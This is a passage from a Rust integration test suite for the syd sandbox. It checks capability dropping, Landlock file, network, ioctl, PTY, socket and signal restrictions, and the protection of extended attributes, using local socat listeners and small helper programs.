    // CAP_SYSLOG must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_userns_drop_cap_syslog_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_userns_drop_cap_syslog_load_unsafe_syslog() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_syslog:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // open(/, O_RDONLY) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("read_file", ["/"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // open(/, O_RDONLY) is not allowed with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .do_("read_file", ["/"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Check Landlock read restrictions (ABI 3)
fn test_syd_landlock_read_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // open(/, O_RDONLY) is allowed with Landlock explicitly.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .do_("read_file", ["/"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("write_file", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is not allowed with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .m("allow/lock/write-/dev/shm")
        .m("allow/lock/write-/tmp")
        .m("allow/lock/write-/var/tmp")
        .do_("write_file", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Check Landlock write restrictions (ABI 3)
fn test_syd_landlock_write_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(3);

    // Write input file.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // open(./chk, O_WRONLY) is allowed with Landlock explicitly.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .m("allow/lock/write-/dev/shm")
        .m("allow/lock/write-/tmp")
        .m("allow/lock/write-/var/tmp")
        .m("allow/lock/write+./chk")
        .do_("write_file", ["./chk"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(4);

    // BindTcp is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("bind_port", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(4);

    // BindTcp is denied with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .do_("bind_port", ["0"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Check Landlock bind restrictions (ABI 4).
fn test_syd_landlock_bind_restrictions_list() -> TestResult {
    skip_unless_landlock_abi_supported!(4);

    // BindTcp is allowed explicitly with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .m("allow/lock/bind+0")
        .do_("bind_port", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_allow() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(4);

    // Select a random unprivileged port.
    let port = randport()?;

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            "{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
        ))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while test `grep -c listening log || echo 0` -lt 1; do :; done")
        .status()
        .expect("wait for socat");

    // ConnectTcp is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("connect_port", [&port.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_deny() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(4);

    // Select a random unprivileged port.
    let port = randport()?;

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            "{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
        ))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while test `grep -c listening log || echo 0` -lt 1; do :; done")
        .status()
        .expect("wait for socat");

    // ConnectTcp is denied with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .do_("connect_port", [&port.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_denied!(status);

    Ok(())
}

// Check Landlock connect restrictions (ABI 4).
fn test_syd_landlock_connect_restrictions_list() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(4);

    // Select a random unprivileged port.
    let port = randport()?;

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            "{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:{port},bind=127.0.0.1,forever 2>&1 | tee log"
        ))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while test `grep -c listening log || echo 0` -lt 1; do :; done")
        .status()
        .expect("wait for socat");

    // ConnectTcp is allowed explicitly with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .m(format!("allow/lock/connect+{port}"))
        .do_("connect_port", [&port.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions (ABI 5).
fn test_syd_landlock_ioctl_restrictions_allow() -> TestResult {
    skip_unless_landlock_abi_supported!(5);

    // ioctl(/dev/random, FS_IOC_GETFLAGS) is allowed without Landlock.
    // Its an invalid operation for /dev/random.
    let status = syd()
        .p("off")
        .do_("ioctl_device", ["/dev/random"])
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    Ok(())
}

// Check Landlock ioctl restrictions (ABI 5).
fn test_syd_landlock_ioctl_restrictions_deny() -> TestResult {
    skip_unless_landlock_abi_supported!(5);

    // ioctl(/dev/random, FS_IOC_GETFLAGS) is denied with Landlock.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .do_("ioctl_device", ["/dev/random"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Python script to attempt openpty and exit with errno on failure.
const PYTHON_TRY_OPENPTY: &str =
    "import os, sys;\ntry: os.openpty()\nexcept OSError as e: sys.exit(e.errno)";

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_allow_1() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python");

    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .m("allow/lock/write+/dev/ptmx")
        .m("allow/lock/write+/dev/pts")
        .args(["--", "python", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_allow_2() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python");

    let status = syd()
        .p("off")
        .p("landlock")
        .p("tty")
        .m("allow/lock/read+/")
        .args(["--", "python", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_deny_1() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python");

    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .args(["--", "python", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Check Landlock ioctl restrictions with PTYs (ABI 5).
fn test_syd_landlock_ioctl_restrictions_pty_deny_2() -> TestResult {
    skip_unless_landlock_abi_supported!(5);
    skip_unless_pty!();
    skip_unless_available!("python");

    let status = syd()
        .p("off")
        .p("landlock")
        .p("tty")
        .m("allow/lock/read+/")
        .m("allow/lock/write-/dev/ptmx")
        .m("allow/lock/write-/dev/pts")
        .args(["--", "python", "-c", PYTHON_TRY_OPENPTY])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Check Landlock abstract unix socket restrictions (ABI 6).
fn test_syd_landlock_abstract_unix_socket_restrictions_allow() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(6);

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    // Start socat in the background.
    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd_pds} socat -u -d -d FILE:chk ABSTRACT-LISTEN:/syd/test/test1.socket,mode=777,forever 2>&1 | tee log"))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while test `grep -c listening log || echo 0` -lt 1; do :; done")
        .status()
        .expect("wait for socat");

    // connect(\0/syd/test/test1.socket) is allowed without Landlock.
    let status = syd()
        .p("off")
        .do_("connect_unix_abstract", ["/syd/test/test1.socket"])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock abstract unix socket restrictions (ABI 6).
fn test_syd_landlock_abstract_unix_socket_restrictions_deny() -> TestResult {
    skip_unless_available!("grep", "socat", "sh", "tee", "timeout");
    skip_unless_landlock_abi_supported!(6);

    // Write input data for socat.
    syd::fs::cat(
        "chk",
        "Change return success. Going and coming without error. Action brings good fortune.",
    )?;

    let syd_pds = &SYD_PDS.to_string();
    let mut child = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd_pds} socat -u -d -d FILE:chk ABSTRACT-LISTEN:/syd/test/test2.socket,mode=777,forever 2>&1 | tee log"))
        .spawn()
        .expect("execute socat");

    // Wait for socat to start listening.
    Command::new("timeout")
        .arg("-sKILL")
        .arg("45s")
        .arg("sh")
        .arg("-c")
        .arg("while test `grep -c listening log || echo 0` -lt 1; do :; done")
        .status()
        .expect("wait for socat");

    // connect(\0/syd/test/test2.socket) cannot escape Landlock!
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .do_("connect_unix_abstract", ["/syd/test/test2.socket"])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait socat");

    assert_status_code!(status, nix::libc::EPERM);

    Ok(())
}

// Check Landlock signal restrictions (ABI 6).
fn test_syd_landlock_signal_restrictions_allow() -> TestResult {
    skip_unless_available!("sleep");
    skip_unless_landlock_abi_supported!(6);

    let mut child = Command::new("sleep")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()))
        .spawn()
        .expect("execute sleep");
    let pid = child.id();

    // kill(pid) does propagates to child without Landlock!
    let status = syd()
        .p("off")
        .do_("kill", [&pid.to_string(), &nix::libc::SIGKILL.to_string()])
        .status()
        .expect("execute syd");

    //This kill may race!
    //let _ = child.kill();
    child.wait().expect("wait sleep");

    assert_status_ok!(status);

    Ok(())
}

// Check Landlock signal restrictions (ABI 6).
fn test_syd_landlock_signal_restrictions_deny() -> TestResult {
    skip_unless_available!("sleep");
    skip_unless_landlock_abi_supported!(6);

    let mut child = Command::new("sleep")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()))
        .spawn()
        .expect("execute sleep");
    let pid = child.id();

    // kill(pid) does not propagate to child.
    let status = syd()
        .p("off")
        .p("landlock")
        .m("allow/lock/read+/")
        .do_("kill", [&pid.to_string(), &nix::libc::SIGKILL.to_string()])
        .status()
        .expect("execute syd");

    let _ = child.kill();
    child.wait().expect("wait sleep");

    assert_status_code!(status, nix::libc::EPERM);

    Ok(())
}

// Checks socket domain restrictions
fn test_syd_socket_domain_restrictions() -> TestResult {
    let allows = [
        (nix::libc::AF_UNIX, nix::libc::SOCK_DGRAM, 0),
        (nix::libc::AF_UNIX, nix::libc::SOCK_STREAM, 0),
        (nix::libc::AF_INET, nix::libc::SOCK_DGRAM, 0),
        (nix::libc::AF_INET, nix::libc::SOCK_STREAM, 0),
        (nix::libc::AF_INET6, nix::libc::SOCK_DGRAM, 0),
        (nix::libc::AF_INET6, nix::libc::SOCK_STREAM, 0),
    ];
    let denies = [
        // Do not add privileged sockets here.
        (
            nix::libc::AF_NETLINK,
            nix::libc::SOCK_DGRAM,
            nix::libc::NETLINK_GENERIC,
        ),
        (
            nix::libc::AF_NETLINK,
            nix::libc::SOCK_DGRAM,
            nix::libc::NETLINK_ROUTE,
        ),
    ];
    let kcapis = [(nix::libc::AF_ALG, nix::libc::SOCK_SEQPACKET, 0)];

    for (domain, ty, proto) in &allows {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for (domain, ty, proto) in &denies {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_code!(status, nix::libc::EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_unsupp_socket:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for (domain, ty, proto) in &kcapis {
        let status = syd()
            .p("off")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        assert_status_code!(status, nix::libc::EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_safe_kcapi:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        // Careful, kernel may return EAFNOSUPPORT
        // if CONFIG_CRYPTO_USER_API is either not
        // enabled or compiled as a module and the
        // module is not yet loaded.
        assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

        let status = syd()
            .p("off")
            .m("trace/allow_unsupp_socket:1")
            .m("trace/allow_safe_kcapi:1")
            .do_(
                "socket",
                [&format!("{domain}"), &format!("{ty}"), &format!("{proto}")],
            )
            .status()
            .expect("execute syd");
        // Careful, kernel may return EAFNOSUPPORT
        // if CONFIG_CRYPTO_USER_API is either not
        // enabled or compiled as a module and the
        // module is not yet loaded.
        assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);
    }

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_get_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -n user.ack.noent file && exit 1 || true
getfattr -n user.ack.test file
getfattr -n user.syd.test file && exit 1 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_get_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .m("allow/all+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -n user.ack.noent file && exit 1 || true
getfattr -n user.ack.test file
getfattr -n user.syd.test file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_set_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
setfattr -x user.ack.noent file && exit 1 || true
setfattr -x user.ack.test file
setfattr -x user.syd.test file && exit 3 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_set_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .m("allow/all+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
setfattr -x user.ack.noent file && exit 1 || true
setfattr -x user.ack.test file
setfattr -x user.syd.test file
setfattr -n user.syd.test -v 7 file
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_lst_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -d file | grep -q user.ack.test
getfattr -d file | grep -q user.syd. && exit 1 || true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks user.syd.* name restrictions for xattrs.
fn test_syd_xattr_name_restrictions_lst_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "ln", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .m("allow/all+/***")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
getfattr -d file | grep -q user.ack.test
getfattr -d file | grep -q user.syd.
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "getxattrat_path")
        .arg("-cex")
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} file user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "getxattrat_file")
        .arg("-cex")
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} dir user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
